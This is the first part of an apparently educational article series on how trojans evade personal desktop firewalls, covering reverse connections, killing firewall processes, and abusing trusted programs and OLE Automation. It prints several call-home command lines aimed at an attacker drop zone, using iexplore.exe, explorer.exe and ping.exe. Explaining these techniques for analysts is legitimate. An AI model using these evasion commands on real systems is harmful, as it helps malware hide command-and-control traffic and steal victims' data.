There were days when we were connected to the Internet without being afraid someone could intrude our computers and install malicious programs to steal our account and credit card information or accounting data from our computers. At least we thought so but actually that time never really existed somewhen in the year 1997, the medieval of the Internet. The people were happy being “on-line”, having a good down link speed (33.6 kbps was lightning fast and 56k modems emerged on the horizon). Spam was the only real problem people had to deal with. The computers were connected directly to the Internet and were protected neither by a NAT router nor a desktop firewall. Microsoft was struggling with their unstable TCP/IP stack and Windows 95 experienced a series of DoS attacks. File shares were activated by default and accessible directly from the Internet. If one didn’t restrict the file sharing access with a password everyone who was connected to the internet could access and copy that data, too.
This disastrous situation opened a new segment to the computer and software industries. The first desktop firewalls popped up on the market, protecting us from the annoying DoS attacks and the accidentally authorised access to private data. For the end user it was difficult to understand what a desktop firewall does, how it does its job and it was even more difficult to configure it and keeping control over that new beast. So 1997 was the advent of the desktop firewalls (a.k.a personal firewall). This type of firewall passed an intensive development and now after 12 years its look and feel has changed completely. It grew together with the threats from that time, it had to adapt to them and the result is a handy and effective software that is protecting us from the digital parasites coming from the Internet. As long as we don’t notice its presence, no alert window pops up on the desktop and no suspicious behaviour of the computer, everything is fine. This is the point where the malware writers and also the analysts have to start their work to find out what ways exists to intrude a system and how to act on a victim system without triggering an alert.
In this three part series I will shed some light into this matter and explain ways how attackers try to overcome the obstacles they face when trying to bypass a desktop firewall.

Why malware is calling home

The Trojan horse was configured, customized and unleashed into the wild to do what ever it was ordered to. Once it reaches a new system and dropped the damage routine successfully the client has to be informed about that. What place did the Trojan reach, how does the configuration over there look like and some other details that might be important to the attacker. Furthermore, collecting sensitive data like local account information, browser history, the users keystrokes, screen and web cam shots, the result is always output data that is saved in files. Data that has to be transferred to the drop zone where the attacker can collect it. This are typical situations when the trojan server establishes a network connection.

Other reasons to establish a connection are

• Installing a new plugin to extend the trojans capabilities
• Installing a new version of the trojan horse
• Receiving instructions from the trojan client
• Malware propagation
• Damage routines like click bots, spam bots or DDoS bots

1. Reverse connection

As the hardware suppliers and the Internet access providers abandoned the pure DSL/cable modems and started selling only appliances with firewalling and Network Address Translation (NAT) capabilities the malware programmers faced a problem : they couldn’t connect to their infected victim systems anymore. They were locked out. But only for a short moment. They decided to change the draft and let victim systems establish a reverse connection to the central, the controlling client system. There was no other choice than to switch to the new concept and nowadays all clients (the command and control servers) and drop zones communicate that way with their victim systems. In principle this is not mainly a matter of circumventing a PFW but rather a way to encounter the obstacles imposed by the NAT routers. Circumventing that way a desktop firewall was only a nice side effect that was usable in the early days where only incoming traffic was filtered. After a short time the PFW vendors started controlling traffic in both directions.

2. Deactivate the personal firewall software

Personal firewalls (PFW) became a vital component on a computer to defend against the steadily changing and growing amount of malware straying through the Internet. But because a desktop firewall is only a software that was once installed on the computer and not integrated into the core of the operating system it is also possible to uninstall it. For an attacker this is not necessary and would go much to far. It is sufficient just deactivating it by stopping their running processes, services or drivers which can be accomplished quite easily via the Win32 API. Once it is deactivated the malware can establish network connections without triggering an alert. This sounds like an easy task for a malware programmer. Just keeping up to date the list containing the processes and services of the most used PFWs, deactivate them and you are on the safe side. The AV (Anti Virus) and PFW vendors observed this technique and introduced a simple remedy: Every time someone/something was trying to stop a firewall driver or a vital process a popup message apperaed on the desktop informing the user about this event and recommended to stop it if not explicitly required.

Example source : kill_av_pfw.cpp

3.1 Trusted application iexplorer.exe

Desktop firewalls distinguish between trusted and untrusted applications and maintain a white list with the names and binary fingerprints of the programs that were allowed by the user to establish a network connection. If a program is not inside this list and tries to establish a connection the PFW triggers an alert. Typical programs that are inside the white list are “Mozilla Firefox” “Internet Explorer”, your email program, the Microsoft Windows file explorer “explorer.exe”, svchost.exe and so on. Also attackers noticed this circumstance and toke advantage of it by diverting it from its intended use. Instead of creating directly a socket connection to the drop-zone or to the trojan client they used the trusted applications as proxies and made them send the data instead. Let’s have a look at it by taking iexplore.exe as first example. The attacker intends to connect back to the trojan client and inform it the dropper reached a new victim and installed the trojan server successfully. We can use the Microsoft Internet Explorer to connect back to the client and pass inside its parameters the status of the infection and information about the new compromised victim system.
The IE (Internet Explorer) can normally be found under the following path : “c:\Program Files\Internet Explorer\iexplore.exe”. Depending on language Microsoft Windows was installed the directory “Program Files” will probably vary.
Call the IE as follows to connect to the client :

iexplore.exe http//mothership.megapanzer.com/SIN.php?ID=31337

and as you probably expected a new instance of the IE will appear. That way the IE will act as proxy application between the malicious software and the client system. The attacker benefits from this circumstance because the IE is a trusted application and wont trigger the alert bells. A nice side effect is if the victim system is situated within a network that requires a proxy server to communicate with computers in the Internet the IE will handle proxy server communication for you.

If you think now it is completely unusable like this and wont hide the attackers presence on the target system at all because the victim can see him you are right. But let’s finish these examples here and read in the following sub chapter how an attacker can use OLE Automation to hide the new IE instance. From that point on everything will be alright again and none will notice someone else is logged in.

3.2 Trusted applications explorer.exe

Smarter PFW also check which programs are starting the programs that establish a connection. If for example megapanzer.exe would call the IE the alert bells and sirens will start ringing.
An attacker has the possibility to make other, trusted programs call it instead. explorer.exe, a close relative of the iexplore.exe and used to explore the local file system, will do that job just fine. The only thing an attacker has to do is to replace the iexplorer.exe by the explore.exe command and execute it. The explorer.exe recognizes the passed parameter is neither a directory nor a file but a URL and will therefore execute the IE for us. The command line would look like this :

explorer.exe http//mothership.megapanzer.com/SIN.php?ID=31337

3.3 Trusted applications ping.exe

An other rather esoteric approach is using the ping.exe command and sending customized ICMP packets directly to the client/drop zone. Ping.exe for example allows to define the length of the ICMP data buffer and some of the IP flags. For example on a trojan server an attacker can assign the data buffer size parameter a specific value to signalize the trojan client/drop zone one of its victim systems is up. To transport data inside such an ICMP packet the attacker can use the TOS byte.

ping -l 1337 -i 8 dropzone.megapanzer.com
Pinging 192.168.100.1 with 1337 bytes of data:
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64

Of course this is not really effective if the attacker wants to transmit a lot of data. But just to send a regular “Alive” packet and maybe two or three side information it would be absolutely sufficient. An other precondition is the direct connection to the trojan client/drop zone and not to pass an application layer firewall/gateway that reconstructs the packet again and purges the customized IP settings.

4. OLE Automation
A nice feature developed by Microsoft is the inter process communication mechanism OLE Automation (Object Linking and Embedding) that allowed programmers to automate routine tasks when other applications were involved. So it is possible to make Microsoft Outlook or Internet Explorer scriptable and tedious routine work is done with a double click. The only precondition that has to be fulfilled the target application has to support the OLE interface.
This is a quite handy feature also for attackers in regard a browser like Internet Explorer is a trusted application that doesn’t trigger the alert bell on a computer when connecting to the Internet. That way an attacker starts an invisible instance (yes, you can start it invisibly) of the Internet Explorer and instruct it to send requests to the trojan client/drop zone.
The Internet Explorer OLE interface is a powerful feature and lets the attacker send GET or POST requests, change the HTTP headers, observe and control the request and receive and evaluate responses from the peer.

Example source :  ole_automation.cpp

What’s coming up in the second part
This was the untechnical part with much background information that didn’t require a lot of technical skills. In the next article we will dive more into source code which you can use to study and use for your own tests. In the next part I will explain the following firewall bypassing techniques :

• DLL injection (the FWB technique)
• Process injection (the FWB++ technique)
• Finding the address of the original function call (the FWB# technique)
• DNS tunnel